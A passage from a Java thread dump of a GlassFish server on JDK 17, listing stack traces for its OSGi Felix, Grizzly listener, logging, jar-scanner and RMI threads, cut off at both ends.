java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixResolver-3" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-2-kernel(1) SelectorRunner" #58 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixStartLevel" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/java.util.HashSet.iterator(HashSet.java:174) + at org.jvnet.hk2.internal.ServiceLocatorImpl.validate(ServiceLocatorImpl.java:271) + at org.jvnet.hk2.internal.ServiceLocatorImpl.getDescriptors(ServiceLocatorImpl.java:346) + at org.jvnet.hk2.internal.ServiceLocatorImpl.getDescriptors(ServiceLocatorImpl.java:390) + at org.glassfish.hk2.extras.events.internal.DefaultTopicDistributionService.configurationChanged(DefaultTopicDistributionService.java:539) + at org.jvnet.hk2.internal.ServiceLocatorImpl.callAllConfigurationListeners(ServiceLocatorImpl.java:2124) + at org.jvnet.hk2.internal.ServiceLocatorImpl.addConfiguration(ServiceLocatorImpl.java:2191) + at org.jvnet.hk2.internal.DynamicConfigurationImpl.commit(DynamicConfigurationImpl.java:265) + at org.jvnet.hk2.osgiadapter.HK2Main$HK2ServiceTrackerCustomizer.addingService(HK2Main.java:368) + at org.osgi.util.tracker.ServiceTracker$Tracked.customizerAdding(ServiceTracker.java:944) + at org.osgi.util.tracker.ServiceTracker$Tracked.customizerAdding(ServiceTracker.java:872) + at org.osgi.util.tracker.AbstractTracked.trackAdding(AbstractTracked.java:256) + at org.osgi.util.tracker.AbstractTracked.track(AbstractTracked.java:229) + at org.osgi.util.tracker.ServiceTracker$Tracked.serviceChanged(ServiceTracker.java:904) + at org.apache.felix.framework.EventDispatcher.invokeServiceListenerCallback(EventDispatcher.java:990) + at org.apache.felix.framework.EventDispatcher.fireEventImmediately(EventDispatcher.java:838) + at org.apache.felix.framework.EventDispatcher.fireServiceEvent(EventDispatcher.java:545) + at org.apache.felix.framework.Felix.fireServiceEvent(Felix.java:4863) + at org.apache.felix.framework.Felix.registerService(Felix.java:3834) + at org.apache.felix.framework.BundleContextImpl.registerService(BundleContextImpl.java:328) + at org.apache.felix.framework.BundleContextImpl.registerService(BundleContextImpl.java:302) + at org.apache.felix.gogo.shell.Activator.startShell(Activator.java:132) + at org.apache.felix.gogo.shell.Activator.access$000(Activator.java:47) + at org.apache.felix.gogo.shell.Activator$1.addingService(Activator.java:93) + at org.apache.felix.gogo.shell.Activator$1.addingService(Activator.java:88) + at org.osgi.util.tracker.ServiceTracker$Tracked.customizerAdding(ServiceTracker.java:944) + at org.osgi.util.tracker.ServiceTracker$Tracked.customizerAdding(ServiceTracker.java:872) + at org.osgi.util.tracker.AbstractTracked.trackAdding(AbstractTracked.java:256) + at org.osgi.util.tracker.AbstractTracked.trackInitial(AbstractTracked.java:183) + at org.osgi.util.tracker.ServiceTracker.open(ServiceTracker.java:322) + at org.osgi.util.tracker.ServiceTracker.open(ServiceTracker.java:265) + at org.apache.felix.gogo.shell.Activator.start(Activator.java:64) + at org.apache.felix.framework.util.SecureAction.startActivator(SecureAction.java:849) + at org.apache.felix.framework.Felix.activateBundle(Felix.java:2429) + at org.apache.felix.framework.Felix.startBundle(Felix.java:2335) + at org.apache.felix.framework.Felix.setActiveStartLevel(Felix.java:1566) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:297) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixDispatchQueue" #18 daemon [WAITING] on java.util.ArrayList@18ec31ee + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Logging pump for 'jakarta.enterprise.logging.stdout'" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f9089f1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:162) + at org.glassfish.main.jul.handler.LoggingOutputStream$Pump.logAllPendingRecordsOrWait(LoggingOutputStream.java:184) + at org.glassfish.main.jul.handler.LoggingOutputStream$Pump.run(LoggingOutputStream.java:157) + +"RunLevelControllerThread-1754837844256" #36 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@787876b5 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"deployment-jar-scanner" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0eca1e + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"deployment-jar-scanner" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0eca1e + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"admin-listener-kernel(1) SelectorRunner" #65 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"JarFileManager-1" #77 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@10f73268 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RunLevelControllerThread-1754837844261" #37 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@787876b5 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"pool-2-thread-1" #79 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@47078cd6 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"log-rotation-timer-for-GlassFishLogHandler" #15 [WAITING] on java.util.TaskQueue@2480d7eb + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at java.base@17.0.2/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.2/java.util.TimerThread.run(Timer.java:516) + +"FelixResolver-5" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-2(2)" #53 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@699c0426 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"deployment-jar-scanner" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0eca1e + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"DestroyJavaVM" #88 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GlassFishLogHandler log pump" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43070c4 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:162) + at org.glassfish.main.jul.handler.LoggingPumpThread.publishBatchFromBuffer(LoggingPumpThread.java:86) + at org.glassfish.main.jul.handler.LoggingPumpThread.run(LoggingPumpThread.java:73) + +"JarFileManager-1" #74 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e46d83 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RMI Scheduler(0)" #101 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f197835 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixResolver-1" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-1(5)" #48 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5b97f1f8 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"iiop-service-kernel(1) SelectorRunner" #66 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixResolver-4" #22 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"GlassFish Kernel Main Thread" #87 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@2fd51101 + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:227) + +"RMI TCP Accept-8686" #89 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:755) + at java.base@17.0.2/java.net.ServerSocket.implAccept(ServerSocket.java:675) + at java.base@17.0.2/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641) + at java.base@17.0.2/java.net.ServerSocket.implAccept(ServerSocket.java:617) + at java.base@17.0.2/java.net.ServerSocket.implAccept(ServerSocket.java:574) + at java.base@17.0.2/java.net.ServerSocket.accept(ServerSocket.java:532) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RMI TCP Connection(2)-192.168.215.4" #104 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:181) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:285) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:309) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:350) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:803) + at java.base@17.0.2/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.2/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.2/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.2/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$410/0x00000008010e2728.run(Unknown Source) + at java.base@17.0.2/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.2/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixResolver-6" #26 daemon [TIMED_WAITING] on 